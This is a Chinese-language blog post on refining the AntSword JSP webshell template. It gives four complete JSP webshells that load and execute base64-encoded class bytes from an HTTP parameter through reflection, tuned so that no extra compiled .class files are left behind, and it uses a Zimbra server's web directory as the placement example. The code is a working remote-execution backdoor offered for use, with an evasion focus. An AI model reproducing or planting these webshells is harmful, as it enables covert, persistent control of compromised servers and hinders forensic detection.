Java 利用技巧 —— AntSword-JSP-Template 的优化

发布于 2024-09-08 13:42:40 字数 8123 浏览 25 评论 0

0x00 前言

在之前的文章 《Java 利用技巧——通过反射实现 webshell 编译文件的自删除》 曾介绍了通过反射实现 AntSword-JSP-Template 的方法。对于 AntSword-JSP-Template 中的 shell.jsp ,访问后会额外生成文件 shell_jsp$U.class 。 《Java 利用技巧——通过反射实现 webshell 编译文件的自删除》 中的方法,访问后会额外生成文件 shell_jsp$1.class 。 在某些特殊环境下,需要避免额外生成.class 文件。本文将以 Zimbra 环境为例,介绍实现方法,开源代码,记录细节。

0x01 简介

本文将要介绍以下内容:

  • 实现思路
  • 实现代码

0x02 实现思路

基于 《Java 利用技巧——通过反射实现 webshell 编译文件的自删除》 中的方法,访问后会额外生成文件 shell_jsp$1.class ,这里可以通过构造器避免额外生成.class 文件。

在具体使用过程中,需要注意如下问题:

(1) 反射机制中的构造器

正常调用的代码:

str=new String(StringBuffer);

通过反射实现的代码:

Constructor constructor=String.class.getConstructor(StringBuffer.class);
String str=(String)constructor.newInstance(StringBuffer);

(2) 选择合适的 defineClass() 方法

在 ClassLoader 类中, defineClass() 方法有多个重载,可以选择一个可用的重载,本文选择 defineClass(byte[] b, int off, int len)

(3)SecureClassLoader

使用构造器时,应使用 SecureClassLoader ,而不是 ClassLoader

示例代码:

Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);

0x03 实现代码

为了方便比较,这里给出每种实现方法的代码:

(1) test1.jsp

来自 AntSword-JSP-Template 中的 shell.jsp,代码如下:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
    }
%>

保存在 Zimbra 的 web 目录: /opt/zimbra/jetty_base/webapps/zimbra/

通过 Web 访问后在目录 /opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/ 生成以下文件:

  • _test1_jsp.java
  • _test1_jsp.class
  • _test1_jsp$U.class

(2) test2.jsp

来自 《Java 利用技巧——通过反射实现 webshell 编译文件的自删除》 中通过反射实现 AntSword-JSP-Template 的方法,代码如下:

<%@ page import="java.lang.reflect.Method" %>

<%!
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("ant");

    if (cls != null) {
        Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
        d.setAccessible(true);
        ClassLoader sysloader = getClass().getClassLoader();
        ClassLoader loader = new ClassLoader(sysloader) {};
        Class result = (Class) d.invoke(loader, base64Decode(cls),0,base64Decode(cls).length); 
        result.newInstance().equals(pageContext);

    }
    else{
        response.sendError(404);
    }
%>

通过 Web 访问后生成以下文件:

  • _test2_jsp.java
  • _test2_jsp.class
  • _test2_jsp$1.class

(3) test3.jsp

基于 test2.jsp,通过构造器实现,代码如下:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.security.SecureClassLoader" %>

<%!
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("ant");

    if (cls != null) {
        Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
        d.setAccessible(true);
        Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
        c.setAccessible(true);
        ClassLoader sysloader = this.getClass().getClassLoader();
        ClassLoader loader =(ClassLoader)c.newInstance(sysloader);
        Class result = (Class)d.invoke(loader,base64Decode(cls),0,base64Decode(cls).length);
        result.newInstance().equals(pageContext);
    }
    else{
        response.sendError(404);
    }
%>

通过 Web 访问后生成以下文件:

  • _test3_jsp.java
  • _test3_jsp.class

(4) test4.jsp

基于 test3.jsp,不使用 base64Decode() ,代码如下:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.security.SecureClassLoader" %>

<%
    String cls = request.getParameter("ant");

    if (cls != null) {
        byte[] str=null;
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            str = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), cls);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            str = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, cls);
        }
        Method d= ClassLoader.class.getDeclaredMethod("defineClass",byte[].class, int.class, int.class);
        d.setAccessible(true);
        Constructor c = SecureClassLoader.class.getDeclaredConstructor(ClassLoader.class);
        c.setAccessible(true);
        ClassLoader sysloader = this.getClass().getClassLoader();
        ClassLoader loader =(ClassLoader)c.newInstance(sysloader);
        Class result = (Class)d.invoke(loader,str,0,str.length);
        result.newInstance().equals(pageContext);
    }
    else{
        response.sendError(404);
    }
%>

通过 Web 访问后生成以下文件:

  • _test4_jsp.java
  • _test4_jsp.class

在代码实现上需要注意 Java 语言中数组必须先初始化,然后才可以使用

0x04 小结

本文分享了一种不额外生成.class 文件的实现方法,对于开源的代码 test4.jsp,还可以应用到 Java 文件的编写中。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

轮廓§

暂无简介

文章
评论
27 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文